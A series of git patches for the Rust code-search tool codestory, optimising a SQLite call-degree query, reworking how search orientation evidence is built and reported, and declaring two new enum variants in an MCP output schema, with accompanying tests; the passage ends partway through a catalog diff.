77f6ce7b0f778bb58969fd892a10667d6d4309cc Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 03:41:18 -0500 Subject: [PATCH 009/132] seek the candidate chunk when reading directed call degrees The call-degree read built its candidate filter above a CTE that selected every CALL edge in the repository, so `EXPLAIN QUERY PLAN` seeked on `kind` alone and the cost of a bounded 992-id grounding read tracked the repository's edge count instead of its own input. On a synthetic 800k CALL-edge database one full grounding call cost 1822 ms and did not move when the chunk shrank from 500 ids to 5 (890 ms vs 854 ms) -- the uncosted full-edge-table scan on the live read path that this lane's own design rejected. Push the id list into each edge predicate. `COALESCE(resolved, raw) IN (ids)` is not seekable, so each direction becomes two disjoint branches split on `resolved IS NULL`, with `COUNT(DISTINCT ...)` over their union so an endpoint reachable through both a resolved and an unresolved edge still counts once. The branches pin their index because both edge indexes match the kind prefix and SQLite otherwise reads `resolved_target_node_id IS NULL` as the more selective equality. Same database, same 992 ids: 1822 ms -> 18 ms, byte-identical rows. Co-Authored-By: Claude Opus 5 --- .../codestory-store/src/storage_impl/mod.rs | 202 ++++++++++++++---- 1 file changed, 165 insertions(+), 37 deletions(-) diff --git a/crates/codestory-store/src/storage_impl/mod.rs b/crates/codestory-store/src/storage_impl/mod.rs index 633deb93b..e2ee6d389 100644 --- a/crates/codestory-store/src/storage_impl/mod.rs +++ b/crates/codestory-store/src/storage_impl/mod.rs @@ -251,6 +251,93 @@ fn clamp_i64_to_u32(value: i64) -> u32 { } } +/// SQL for the directed CALL degrees of one bounded node chunk. +/// +/// A read surface must cost what its bounded input costs, not what the +/// repository happens to contain, so the candidate ids sit inside each `edge` +/// predicate rather than in an outer filter over a repository-wide CALL scan. +/// `COALESCE(resolved, raw) IN (ids)` is spelled as two branches because only a +/// branch is index-seekable; the branches stay disjoint on `resolved IS NULL`, +/// and `COUNT(DISTINCT ...)` runs over their union so an endpoint reachable +/// through both a resolved and an unresolved edge still counts once. +/// +/// The branches pin their index because both edge indexes match the kind +/// prefix, and without pinning SQLite reads `resolved_target_node_id IS NULL` as +/// the more selective equality and seeks every unresolved CALL edge in the +/// repository. `grounding_call_degree_plan_seeks_the_candidate_chunk` holds the +/// shape. Every pinned index is created for any live store (schema.rs:392-415). +fn grounding_call_degree_query(ids: &str, certainty: &str) -> String { + let call_kind = EdgeKind::CALL as i32; + format!( + "WITH inbound_call AS ( + SELECT + e.resolved_target_node_id AS node_id, + COALESCE(e.resolved_source_node_id, e.source_node_id) AS other_id + FROM edge e INDEXED BY idx_edge_kind_resolved_target + WHERE e.kind = {call_kind} + AND e.resolved_target_node_id IN ({ids}) + AND {certainty} = 'certain' + UNION ALL + SELECT + e.target_node_id AS node_id, + COALESCE(e.resolved_source_node_id, e.source_node_id) AS other_id + FROM edge e INDEXED BY idx_edge_kind_target + WHERE e.kind = {call_kind} + AND e.target_node_id IN ({ids}) + AND e.resolved_target_node_id IS NULL + AND {certainty} = 'certain' + ), + inbound AS ( + SELECT + inbound_call.node_id AS node_id, + COUNT(DISTINCT inbound_call.other_id) AS in_degree, + 0 AS out_degree + FROM inbound_call + LEFT JOIN node caller ON caller.id = inbound_call.other_id + LEFT JOIN file caller_file ON caller_file.id = caller.file_node_id + WHERE inbound_call.other_id != inbound_call.node_id + AND COALESCE(caller_file.file_role, 'source') NOT IN ('test', 'benchmark') + GROUP BY inbound_call.node_id + ), + outbound_call AS ( + SELECT + e.resolved_source_node_id AS node_id, + COALESCE(e.resolved_target_node_id, e.target_node_id) AS other_id + FROM edge e INDEXED BY idx_edge_resolved_source + WHERE e.resolved_source_node_id IN ({ids}) + AND e.kind = {call_kind} + AND {certainty} = 'certain' + UNION ALL + SELECT + e.source_node_id AS node_id, + COALESCE(e.resolved_target_node_id, e.target_node_id) AS other_id + FROM edge e INDEXED BY idx_edge_kind_source + WHERE e.kind = {call_kind} + AND e.source_node_id IN ({ids}) + AND e.resolved_source_node_id IS NULL + AND {certainty} = 'certain' + ), + outbound AS ( + SELECT + outbound_call.node_id AS node_id, + 0 AS in_degree, + COUNT(DISTINCT outbound_call.other_id) AS out_degree + FROM outbound_call + WHERE outbound_call.other_id != outbound_call.node_id + GROUP BY outbound_call.node_id + ), + combined AS ( + SELECT node_id, in_degree, out_degree FROM inbound + UNION ALL + SELECT node_id, in_degree, out_degree FROM outbound + ) + SELECT node_id, SUM(in_degree), SUM(out_degree) + FROM combined + GROUP BY node_id + ORDER BY node_id" + ) +} + fn canonical_search_symbol_batch_limit( operation: &'static str, limit: usize, @@ -10650,43 +10737,7 @@ impl Storage { certain_min = ResolutionCertainty::CERTAIN_MIN, probable_min = ResolutionCertainty::PROBABLE_MIN, ); - let query = format!( - "WITH call_edge AS ( - SELECT - COALESCE(e.resolved_source_node_id, e.source_node_id) AS src, - COALESCE(e.resolved_target_node_id, e.target_node_id) AS tgt - FROM edge e - WHERE e.kind = {call_kind} - AND {certainty} = 'certain' - ), - inbound AS ( - SELECT call_edge.tgt AS node_id, COUNT(DISTINCT call_edge.src) AS degree - FROM call_edge - LEFT JOIN node caller ON caller.id = call_edge.src - LEFT JOIN file caller_file ON caller_file.id = caller.file_node_id - WHERE call_edge.tgt IN ({ids}) - AND call_edge.src != call_edge.tgt - AND COALESCE(caller_file.file_role, 'source') NOT IN ('test', 'benchmark') - GROUP BY call_edge.tgt - ), - outbound AS ( - SELECT call_edge.src AS node_id, COUNT(DISTINCT call_edge.tgt) AS degree - FROM call_edge - WHERE call_edge.src IN ({ids}) - AND call_edge.src != call_edge.tgt - GROUP BY call_edge.src - ), - combined AS ( - SELECT node_id, degree AS in_degree, 0 AS out_degree FROM inbound - UNION ALL - SELECT node_id, 0 AS in_degree, degree AS out_degree FROM outbound - ) - SELECT node_id, SUM(in_degree), SUM(out_degree) - FROM combined - GROUP BY node_id - ORDER BY node_id", - call_kind = EdgeKind::CALL as i32, - ); + let query = grounding_call_degree_query(&ids, &certainty); let mut stmt = self.conn.prepare(&query)?; let mut rows = stmt.query(params_from_iter(chunk.iter().map(|id| id.0)))?; while let Some(row) = rows.next()? { @@ -11953,6 +12004,40 @@ mod grounding_snapshot_fast_path_tests { Ok(()) } + #[test] + fn call_degrees_count_an_endpoint_once_across_resolved_and_unresolved_edges() + -> Result<(), StorageError> { + let mut storage = Storage::new_in_memory()?; + insert_grounding_test_file( + &mut storage, + 10, + "src/main.rs", + &[ + (101, NodeKind::FUNCTION, "caller", 1), + (102, NodeKind::FUNCTION, "callee", 5), + (103, NodeKind::FUNCTION, "caller_alias", 9), + (104, NodeKind::FUNCTION, "callee_alias", 13), + ], + )?; + // The seeking query reads resolved and unresolved edges through separate + // index branches; one endpoint pair reachable through both must still + // count once, or a re-resolved call would inflate its own evidence. + storage.insert_edges_batch(&[ + call_edge(1, 101, 102, None), + Edge { + resolved_source: Some(NodeId(101)), + resolved_target: Some(NodeId(102)), + certainty: Some(ResolutionCertainty::Certain), + ..call_edge(2, 103, 104, None) + }, + ])?; + + let degrees = call_degrees_by_node(&storage, &[NodeId(101), NodeId(102)])?; + assert_eq!(degrees.get(&NodeId(101)), Some(&(0, 1))); + assert_eq!(degrees.get(&NodeId(102)), Some(&(1, 0))); + Ok(()) + } + #[test] fn call_degrees_return_rows_in_node_id_order_across_chunk_boundaries() -> Result<(), StorageError> { @@ -11999,6 +12084,49 @@ mod grounding_snapshot_fast_path_tests { Ok(()) } + #[test] + fn grounding_call_degree_plan_seeks_the_candidate_chunk() -> Result<(), StorageError> { + let storage = Storage::new_in_memory()?; + let certainty = format!( + "COALESCE( + e.certainty, + CASE + WHEN e.confidence IS NULL THEN 'certain' + WHEN e.confidence >= {certain_min} THEN 'certain' + WHEN e.confidence >= {probable_min} THEN 'probable' + ELSE 'uncertain' + END + )", + certain_min = ResolutionCertainty::CERTAIN_MIN, + probable_min = ResolutionCertainty::PROBABLE_MIN, + ); + let query = grounding_call_degree_query(&numbered_placeholders(1, 3), &certainty); + let plan = storage + .conn + .prepare(&format!("EXPLAIN QUERY PLAN {query}"))? + .query_map(params![1_i64, 2_i64, 3_i64], |row| row.get::<_, String>(3))? + .collect::>>()?; + + // Every step that touches `edge` is aliased `e` by the query above. + let edge_steps = plan + .iter() + .filter(|line| line.contains(" e USING ")) + .collect::>(); + assert_eq!( + edge_steps.len(), + 4, + "expected one seek per directed branch: {plan:?}" + ); + assert!( + edge_steps + .iter() + .all(|line| line.contains("node_id=?") && !line.ends_with("(kind=?)")), + "an edge branch seeks on kind alone, so its cost grows with the repository's \ + CALL edge count instead of with the candidate chunk: {plan:?}" + ); + Ok(()) + } + #[test] fn test_grounding_summary_refresh_keeps_detail_tier_dirty() -> Result<(), StorageError> { let mut storage = Storage::new_in_memory()?; From 28747e9d2f27ef242974e501be2955fd6f6ce7c9 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 03:50:05 -0500 Subject: [PATCH 010/132] build search orientation evidence where every candidate can reach it The evidence map was built from the pre-plan hit list after it had already been truncated to `limit_per_source`, and the plan's own discoveries were merged in afterwards. Three consequences: the window was min(limit, 50) rather than 50, so `--limit 5` measured five candidates; plan-discovered hits -- which is where breadth comes from -- carried no evidence at all, so the lane's own guarantee that graph evidence, file role and structure reach root ordering did not hold for them; and a hit outside the window fell back to structural_rank_inv = 0, the worst structural value, so a plan-discovered `src/main.rs` ranked below an in-window `src/anything.rs` as an artifact of window membership rather than as evidence. Build the map inside the plan, where its discoveries are already merged, and extend it over the merged list before the final sort so every ordered candidate is covered. Split the tiers: path-derived role, subsystem, helper shape and structural rank are free and now apply to every candidate, while only the store-reading graph walk stays bounded to SEARCH_ORIENTATION_WINDOW. A candidate the walk did not reach keeps its own structure and reports as unmeasured rather than as unreferenced. Report `evaluated_root_candidates` as the count the walk actually reached, not the size of the list it was drawn from -- #1338 requires typed orientation that does not overstate graph coverage. Replace two prefix assertions that sliced one stored Vec, which holds for any function including one that consults the limit, with assertions that re-run the ordering per limit. Co-Authored-By: Claude Opus 5 --- crates/codestory-runtime/src/root_rank.rs | 29 ++- crates/codestory-runtime/src/search_plan.rs | 100 +++++++--- crates/codestory-runtime/src/symbol_query.rs | 35 +++- .../src/tests/search_plan.rs | 186 +++++++++++++++--- 4 files changed, 287 insertions(+), 63 deletions(-) diff --git a/crates/codestory-runtime/src/root_rank.rs b/crates/codestory-runtime/src/root_rank.rs index 40a42fcff..1833fc5ac 100644 --- a/crates/codestory-runtime/src/root_rank.rs +++ b/crates/codestory-runtime/src/root_rank.rs @@ -412,16 +412,27 @@ mod tests { ("alpha", "four"), ("beta", "five"), ]); - let ordered = diversify_root_order(items, |_| false, Clone::clone); - for smaller in 0..=ordered.len() { - for larger in smaller..=ordered.len() { - assert_eq!( - ordered[..smaller], - ordered[..larger][..smaller], - "prefix broke between {smaller} and {larger}" - ); - } + // Re-diversify per limit and truncate the fresh result. Slicing one + // stored Vec would hold for any function, including one that consulted + // the limit -- the property under test is that none of them can. + let at_limit = |limit: usize| { + let mut ordered = diversify_root_order(items.clone(), |_| false, Clone::clone); + ordered.truncate(limit); + ordered + }; + let full = at_limit(items.len()); + for smaller in 0..=items.len() { + assert_eq!( + at_limit(smaller), + full[..smaller], + "the order changed with the limit at {smaller}" + ); } + assert_ne!( + full, + items, + "the fixture must actually be reordered, or the prefix claim is empty" + ); } #[test] diff --git a/crates/codestory-runtime/src/search_plan.rs b/crates/codestory-runtime/src/search_plan.rs index 3bf62459d..204c99eb3 100644 --- a/crates/codestory-runtime/src/search_plan.rs +++ b/crates/codestory-runtime/src/search_plan.rs @@ -53,7 +53,10 @@ pub(super) fn search_orientation_report( total_root_candidates: usize, selected: &[SearchHit], ) -> GroundingOrientationDto { - let evaluated = total_root_candidates.min(SEARCH_ORIENTATION_WINDOW); + // Report the candidates the graph walk actually reached, not the size of the + // list it was drawn from: #1338 requires typed orientation that does not + // overstate graph coverage. + let evaluated = evidence.graph_evaluated().min(total_root_candidates); let candidate_entrypoint_roots = evidence.entrypoint_roots_in_map(); let selected_entrypoint_roots = evidence.entrypoint_roots(selected.iter().map(|hit| hit.node_id.clone())); @@ -140,6 +143,9 @@ impl SearchPlanActivePathEvidence { #[derive(Debug, Clone)] pub(super) struct SearchPlanBuild { plan: SearchPlanDto, + /// The shared orientation evidence, built where the plan's own discoveries + /// are visible so the caller reuses it rather than paying for it twice. + orientation: Option, indexed_symbol_hits: Vec, } @@ -1279,21 +1285,29 @@ impl AppController { Ok(evidence) } - /// Build the orientation-regime evidence map once per request. + /// Extend the orientation-regime evidence map over further candidates. /// - /// Bounded to `SEARCH_ORIENTATION_WINDOW` deduped hits, and the resulting - /// map is shared by anchor grouping, the final root ordering, the rejected - /// hit reasons, and the reported orientation, so no stage repeats the edge - /// walk or the file lookup. - fn build_orientation_evidence( + /// The map is built once per request and shared by anchor grouping, the + /// final root ordering, the rejected hit reasons, and the reported + /// orientation, so no stage repeats the edge walk or the file lookup. It is + /// extended rather than rebuilt because the plan discovers candidates after + /// the first pass, and a candidate the map never reached would be ranked by + /// the absence of evidence rather than by evidence. + /// + /// Every candidate gets path-tier evidence; only the store-reading graph + /// walk is bounded, to `SEARCH_ORIENTATION_WINDOW` candidates per request. + fn extend_orientation_evidence<'a>( &self, storage: &Storage, project_root: Option<&Path>, - hits: &[SearchHit], - ) -> OrientationEvidence { - let mut evidence = OrientationEvidence::default(); + hits: impl IntoIterator, + evidence: &mut OrientationEvidence, + ) { let mut file_facts = HashMap::, String)>::new(); - for hit in hits.iter().take(SEARCH_ORIENTATION_WINDOW) { + for hit in hits { + if evidence.contains(&hit.node_id) { + continue; + } let path = hit.file_path.as_deref(); let (role, language) = match path { Some(path) => file_facts @@ -1321,10 +1335,16 @@ impl AppController { (None, Some(path)) => Some(path.replace('\\', "/")), _ => None, }; - let degrees = self - .search_plan_active_path_evidence_for_hit(storage, hit) - .map(SearchPlanActivePathEvidence::degrees) - .unwrap_or_default(); + // Beyond the window the degrees stay zero, which reads as unmeasured + // rather than as proven-unreferenced: `bounded_candidate_window` + // reports the gap and the structural tie-breakers still apply. + let degrees = if evidence.claim_graph_slot(SEARCH_ORIENTATION_WINDOW) { + self.search_plan_active_path_evidence_for_hit(storage, hit) + .map(SearchPlanActivePathEvidence::degrees) + .unwrap_or_default() + } else { + CallDegrees::default() + }; let language = if language.trim().is_empty() { "unknown".to_string() } else { @@ -1347,7 +1367,6 @@ impl AppController { }, ); } - evidence } fn search_plan_active_path_evidence<'a, I>( @@ -1427,7 +1446,7 @@ impl AppController { allow_repo_text: bool, hybrid_weights: Option, hybrid_limits: Option, - orientation: Option<&OrientationEvidence>, + orientation_regime: bool, ) -> Result, ApiError> { let eligible = search_plan_eligible(effective_query, query_assessment.exact_symbol_hit_count); @@ -1458,6 +1477,25 @@ impl AppController { merge_search_hits_by_node_id(&mut plan_repo_text_hits, executed.repo_text_hits.clone()); let mut plan_suggestions = suggestions.to_vec(); merge_search_hits_by_node_id(&mut plan_suggestions, executed.suggestions.clone()); + // Build the shared evidence here, where the plan's own discoveries are + // already merged in. Building it from the pre-plan window instead would + // leave every plan-discovered candidate -- which is where breadth comes + // from -- ranked and reported with no evidence at all. + let mut orientation_evidence = orientation_regime.then(|| { + let project_root = self.require_project_root().ok(); + let mut evidence = OrientationEvidence::default(); + self.extend_orientation_evidence( + storage, + project_root.as_deref(), + plan_indexed_hits + .iter() + .chain(plan_suggestions.iter()) + .chain(plan_repo_text_hits.iter()), + &mut evidence, + ); + evidence + }); + let orientation = orientation_evidence.as_ref(); let active_path_evidence = self.search_plan_active_path_evidence( storage, plan_indexed_hits.iter().chain(plan_suggestions.iter()), @@ -1524,6 +1562,7 @@ impl AppController { }; Ok(Some(SearchPlanBuild { plan, + orientation: orientation_evidence.take(), indexed_symbol_hits: executed.indexed_symbol_hits, })) } @@ -1760,12 +1799,10 @@ impl AppController { .iter() .map(|hit| hit.node_id.clone()) .collect::>(); - // Build the shared orientation evidence once, inside the pinned - // publication, and only for queries that actually ask about structure. - let orientation_evidence = orientation_query(&query).then(|| { - self.build_orientation_evidence(&storage, project_root.as_deref(), &indexed_symbol_hits) - }); - let orientation = orientation_evidence.as_ref(); + // The orientation regime is a property of the query, not of the plan, so + // it is decided before the plan and the evidence is built inside it. + let orientation_regime = orientation_query(&query); + let mut orientation_evidence: Option = None; let mut search_plan_anchor_rank = HashMap::::new(); let search_plan = if expand_search_plan { match self.build_search_plan( @@ -1783,9 +1820,10 @@ impl AppController { false, hybrid_weights, hybrid_limits, - orientation, + orientation_regime, )? { Some(plan_build) => { + orientation_evidence = plan_build.orientation; for (rank, group) in plan_build.plan.anchor_groups.iter().enumerate() { if let Some(symbol) = &group.chosen_symbol { search_plan_anchor_rank @@ -1808,6 +1846,20 @@ impl AppController { } else { None }; + // Cover every candidate that will be ordered, including anchor symbols + // promoted out of the repo-text and suggestion channels and every hit + // reached when no plan ran. Ordering a candidate the map never saw would + // rank it by the absence of evidence rather than by its own structure. + if orientation_regime { + let evidence = orientation_evidence.get_or_insert_with(OrientationEvidence::default); + self.extend_orientation_evidence( + &storage, + project_root.as_deref(), + indexed_symbol_hits.iter(), + evidence, + ); + } + let orientation = orientation_evidence.as_ref(); indexed_symbol_hits.sort_by(|left, right| { let anchor_order = match ( search_plan_anchor_rank.get(&left.node_id), diff --git a/crates/codestory-runtime/src/symbol_query.rs b/crates/codestory-runtime/src/symbol_query.rs index 366c6c9bc..d8220327d 100644 --- a/crates/codestory-runtime/src/symbol_query.rs +++ b/crates/codestory-runtime/src/symbol_query.rs @@ -60,9 +60,15 @@ pub(crate) struct OrientationHitEvidence { /// every new rank field then takes a constant. A field constant across all /// candidates contributes `Ordering::Equal` to every comparison, so the induced /// order is exactly the order of the tuple without those fields. +/// +/// Every candidate carries path-tier evidence -- role, subsystem, helper shape, +/// structural rank -- because those are free from the path. Only the graph walk +/// is windowed, so a candidate the window did not reach still ranks on its own +/// structure instead of being pushed below the window by a missing entry. #[derive(Debug, Clone, Default)] pub(crate) struct OrientationEvidence { by_node: HashMap, + graph_evaluated: usize, } impl OrientationEvidence { @@ -74,8 +80,33 @@ impl OrientationEvidence { self.by_node.get(node_id) } - /// True when nothing in the evaluated window carries any call degree, so - /// the order below role and structure is not backed by graph evidence. + pub(crate) fn contains(&self, node_id: &NodeId) -> bool { + self.by_node.contains_key(node_id) + } + + /// How many candidates the bounded graph walk actually reached. + /// + /// Reported as `evaluated_root_candidates`, so the number names measured + /// evidence rather than the size of the list the window was drawn from. + pub(crate) fn graph_evaluated(&self) -> usize { + self.graph_evaluated + } + + /// Claim one slot of the bounded graph walk, or refuse when it is spent. + pub(crate) fn claim_graph_slot(&mut self, window: usize) -> bool { + if self.graph_evaluated >= window { + return false; + } + self.graph_evaluated += 1; + true + } + + /// True when nothing the graph walk reached carries any call degree, so the + /// order below role and structure is not backed by graph evidence. + /// + /// Scanning the whole map rather than only the walked candidates is exact: + /// an unwalked candidate always carries zero degrees, so it can never turn a + /// walk that did find evidence into a thin one. pub(crate) fn graph_signal_thin(&self) -> bool { !self.by_node.is_empty() && self diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index 4b2b7bf75..abd42202b 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -657,38 +657,151 @@ fn ordering_reduces_to_the_lexical_comparator_when_graph_evidence_is_absent() { #[test] fn smaller_limit_results_are_an_exact_prefix_of_larger_limit_results_for_one_candidate_set() { - let hits = vec![ + let query = "explain how the subsystems connect end to end"; + let candidates = vec![ orientation_hit("a", "zqOne", "src/a.ts", SearchHitOrigin::IndexedSymbol), orientation_hit("b", "zqOne", "src/b.ts", SearchHitOrigin::IndexedSymbol), orientation_hit("c", "zqTwo", "src/b.ts", SearchHitOrigin::IndexedSymbol), orientation_hit("d", "zqThree", "src/c.ts", SearchHitOrigin::IndexedSymbol), ]; - let ordered = diversify_root_order( - hits, - |_| false, - |hit| { - ( - hit.file_path.clone().unwrap_or_default(), - hit.display_name.clone(), - ) - }, - ); - for smaller in 0..=ordered.len() { - for larger in smaller..=ordered.len() { - let short = ordered[..smaller] - .iter() - .map(|hit| hit.node_id.0.as_str()) - .collect::>(); - let long = ordered[..larger] - .iter() - .take(smaller) - .map(|hit| hit.node_id.0.as_str()) - .collect::>(); - assert_eq!(short, long, "prefix broke between {smaller} and {larger}"); - } + let mut evidence = OrientationEvidence::default(); + for (index, hit) in candidates.iter().enumerate() { + evidence.insert( + hit.node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees { + production_in_calls: index as u32, + out_calls: 0, + }, + 1, + hit.file_path.as_deref().unwrap_or_default(), + ), + ); + } + + // Re-run the whole ordering pipeline per limit rather than slicing one + // result, so a stage that consulted the limit would break the prefix. + let run = |limit: usize| { + let mut hits = candidates.clone(); + hits.sort_by(|left, right| { + compare_search_hits_with_project_root(None, query, left, right, Some(&evidence)) + }); + let mut ordered = diversify_root_order( + hits, + |_| false, + |hit| { + ( + hit.file_path.clone().unwrap_or_default(), + hit.display_name.clone(), + ) + }, + ); + ordered.truncate(limit); + ordered + .into_iter() + .map(|hit| hit.node_id.0) + .collect::>() + }; + + let full = run(candidates.len()); + for smaller in 0..=candidates.len() { + assert_eq!( + run(smaller), + full[..smaller], + "the order changed with the limit at {smaller}" + ); } } +#[test] +fn a_candidate_the_graph_window_did_not_reach_still_ranks_on_its_own_structure() { + let query = "explain how the subsystems connect end to end"; + let shallow = orientation_hit( + "shallow", + "zqAlpha", + "src/main.ts", + SearchHitOrigin::IndexedSymbol, + ); + let deep = orientation_hit( + "deep", + "zqBeta", + "src/deep/nested/leaf.ts", + SearchHitOrigin::IndexedSymbol, + ); + // Neither candidate carries call degrees: the window reached one and simply + // did not measure the other. Path-tier evidence is free, so both still carry + // a real structural rank, and structure decides. + let mut evidence = OrientationEvidence::default(); + evidence.insert( + deep.node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 2, + "ts:src/deep", + ), + ); + evidence.insert( + shallow.node_id.clone(), + hit_evidence( + EntryEvidence::None, + false, + CallDegrees::default(), + 1, + "ts:src", + ), + ); + + let mut hits = vec![deep, shallow]; + let order = order_by_orientation(query, &mut hits, Some(&evidence)); + assert_eq!( + order.first().map(String::as_str), + Some("zqAlpha"), + "a shallower source-root candidate should outrank a deep leaf: {order:?}" + ); +} + +#[test] +fn orientation_reports_the_candidates_the_graph_walk_reached_not_the_list_it_scanned() { + let selected = vec![orientation_hit( + "reached", + "zqAlpha", + "src/main.ts", + SearchHitOrigin::IndexedSymbol, + )]; + let mut evidence = OrientationEvidence::default(); + assert!(evidence.claim_graph_slot(1), "first slot is available"); + assert!(!evidence.claim_graph_slot(1), "the window is spent"); + evidence.insert( + selected[0].node_id.clone(), + hit_evidence( + EntryEvidence::TopologicalRoot, + false, + CallDegrees { + production_in_calls: 0, + out_calls: 4, + }, + 1, + "ts:src", + ), + ); + + // Twelve candidates were ordered but only one carries measured graph + // evidence; reporting twelve would overstate parser/graph coverage. + let report = search_orientation_report(&evidence, 12, &selected); + assert_eq!(report.evaluated_root_candidates, 1); + assert_eq!(report.total_root_candidates, 12); + assert!( + report + .uncertainty + .contains(&GroundingOrientationUncertaintyDto::BoundedCandidateWindow), + "an unreached candidate must be reported: {report:#?}" + ); +} + #[test] fn subsystem_diversification_represents_distinct_production_subsystems_within_the_limit() { let hits = vec![ @@ -844,8 +957,20 @@ fn duplicate_name_diversity_and_non_primary_deprioritization_are_preserved() { "vendor hits must stay demoted under orientation ranking: {order:?}" ); + // Three candidates share one surface and two of them share a name, so a + // diversification that ignored names would leave the duplicate second. + let repeated = vec![ + orientation_hit("dup-1", "zzShared", "src/one.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit("dup-2", "zzShared", "src/two.ts", SearchHitOrigin::IndexedSymbol), + orientation_hit( + "distinct", + "zzDistinct", + "src/three.ts", + SearchHitOrigin::IndexedSymbol, + ), + ]; let diversified = diversify_root_order( - hits.clone(), + repeated, |_| false, |hit| ("one-surface".to_string(), hit.display_name.clone()), ); @@ -854,8 +979,13 @@ fn duplicate_name_diversity_and_non_primary_deprioritization_are_preserved() { .map(|hit| hit.display_name.as_str()) .collect::>(); assert_eq!( - names.iter().collect::>().len(), - names.len(), - "duplicate-name diversity should keep distinct names first: {names:?}" + names, + vec!["zzShared", "zzDistinct", "zzShared"], + "a novel name should precede a repeat of an already-emitted name" + ); + assert_eq!( + names.iter().take(2).collect::>().len(), + 2, + "the first two slots should carry distinct names: {names:?}" ); } From 40d81c3b262073cbf048cc4d187a18ef2acf713e Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 04:07:46 -0500 Subject: [PATCH 011/132] declare the two new orientation variants on every surface that carries them `GROUNDING_ORIENTATION_UNCERTAINTY` is the hand-maintained enum for the `ground` tool's declared MCP output schema, and it still listed only the five original variants while the runtime emitted seven. The lane had even added CLI labels for the two new ones, so they reached the human renderer but not the schema that advertises them, and a host validating ground output against the declared schema saw an undeclared enum value. `--check` passed because the generator and the checked-in catalog were stale together, agreeing with each other rather than with the DTO. Declare both, regenerate the catalog, and pin the schema list to an exhaustive match on the DTO so adding a variant fails the build until the schema follows. Refresh the skill's orientation vocabulary and say what an agent should do when either fires: verify structure with `trail` rather than read a thin-graph order as a claim about the repository. Also fix three CLI unit-test fixtures that never compiled after the DTO gained its optional `orientation` field -- `cargo check -p codestory-cli` without `--tests` does not reach them. Co-Authored-By: Claude Opus 5 --- crates/codestory-cli/src/output.rs | 3 ++ crates/codestory-cli/src/stdio_catalog.rs | 2 + .../tests/stdio_protocol_contracts.rs | 44 ++++++++++++++++--- plugins/codestory/generated-mcp-catalog.json | 4 +- .../codestory-grounding/references/ground.md | 12 +++-- 5 files changed, 53 insertions(+), 12 deletions(-) diff --git a/crates/codestory-cli/src/output.rs b/crates/codestory-cli/src/output.rs index 9eb650435..b8a29a0b7 100644 --- a/crates/codestory-cli/src/output.rs +++ b/crates/codestory-cli/src/output.rs @@ -4956,6 +4956,7 @@ mod tests { "Open the exact indexed hit with symbol, trail, and snippet before answering." .to_string(), ), + orientation: None, }), search_plan: None, explain: true, @@ -5040,6 +5041,7 @@ mod tests { "Open the exact indexed hit with symbol, trail, and snippet before answering." .to_string(), ), + orientation: None, }), search_plan: None, explain: true, @@ -5389,6 +5391,7 @@ mod tests { recommended_next_action: Some( "Run retrieval index to restore full sidecar mode, then rerun search --why with a shorter concrete symbol.".to_string(), ), + orientation: None, }), search_plan: None, explain: true, diff --git a/crates/codestory-cli/src/stdio_catalog.rs b/crates/codestory-cli/src/stdio_catalog.rs index 006a1c88c..0d3cfe540 100644 --- a/crates/codestory-cli/src/stdio_catalog.rs +++ b/crates/codestory-cli/src/stdio_catalog.rs @@ -761,6 +761,8 @@ const GROUNDING_ORIENTATION_UNCERTAINTY: &[&str] = &[ "entrypoint_evidence_omitted", "limited_subsystem_breadth", "compressed_presentation", + "graph_signal_thin", + "lexical_fallback", ]; const PACKET_BUDGETS: &[&str] = &["tiny", "compact", "standard", "deep"]; const PACKET_PROBE_EXACT_PATH_KIND: &[&str] = &["exact_path"]; diff --git a/crates/codestory-cli/tests/stdio_protocol_contracts.rs b/crates/codestory-cli/tests/stdio_protocol_contracts.rs index 3ca6b154f..8ed4847e8 100644 --- a/crates/codestory-cli/tests/stdio_protocol_contracts.rs +++ b/crates/codestory-cli/tests/stdio_protocol_contracts.rs @@ -1,5 +1,6 @@ mod test_support; +use codestory_contracts::api::GroundingOrientationUncertaintyDto; use fs4::fs_std::FileExt as _; use serde_json::{Value, json}; use sha2::{Digest, Sha256}; @@ -12,6 +13,41 @@ use std::thread; use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; use tempfile::TempDir; +/// Every wire value `GroundingOrientationUncertaintyDto` can serialize to. +/// +/// The match is exhaustive on purpose: the declared MCP output schema is +/// hand-maintained in `stdio_catalog.rs`, so a variant added to the DTO without +/// a matching schema entry would otherwise ship as an undeclared enum value and +/// the generated catalog would agree with the stale schema rather than the DTO. +/// Adding a variant breaks this build until both are updated. +const GROUNDING_ORIENTATION_UNCERTAINTY_WIRE_VALUES: [&str; 7] = { + use GroundingOrientationUncertaintyDto as Variant; + let all = [ + Variant::BoundedCandidateWindow, + Variant::NoEntrypointEvidence, + Variant::EntrypointEvidenceOmitted, + Variant::LimitedSubsystemBreadth, + Variant::CompressedPresentation, + Variant::GraphSignalThin, + Variant::LexicalFallback, + ]; + let mut values = [""; 7]; + let mut index = 0; + while index < all.len() { + values[index] = match all[index] { + Variant::BoundedCandidateWindow => "bounded_candidate_window", + Variant::NoEntrypointEvidence => "no_entrypoint_evidence", + Variant::EntrypointEvidenceOmitted => "entrypoint_evidence_omitted", + Variant::LimitedSubsystemBreadth => "limited_subsystem_breadth", + Variant::CompressedPresentation => "compressed_presentation", + Variant::GraphSignalThin => "graph_signal_thin", + Variant::LexicalFallback => "lexical_fallback", + }; + index += 1; + } + values +}; + struct StdioFixture { workspace: TempDir, cache_dir: TempDir, @@ -2074,13 +2110,7 @@ fn tool_catalog_exposes_output_schemas_for_stable_dto_backed_tools() { assert_schema_enum_values( orientation, "/properties/uncertainty/items/enum", - &[ - "bounded_candidate_window", - "no_entrypoint_evidence", - "entrypoint_evidence_omitted", - "limited_subsystem_breadth", - "compressed_presentation", - ], + &GROUNDING_ORIENTATION_UNCERTAINTY_WIRE_VALUES, ); } if name == "files" { diff --git a/plugins/codestory/generated-mcp-catalog.json b/plugins/codestory/generated-mcp-catalog.json index c6d708037..4017ebcf0 100644 --- a/plugins/codestory/generated-mcp-catalog.json +++ b/plugins/codestory/generated-mcp-catalog.json @@ 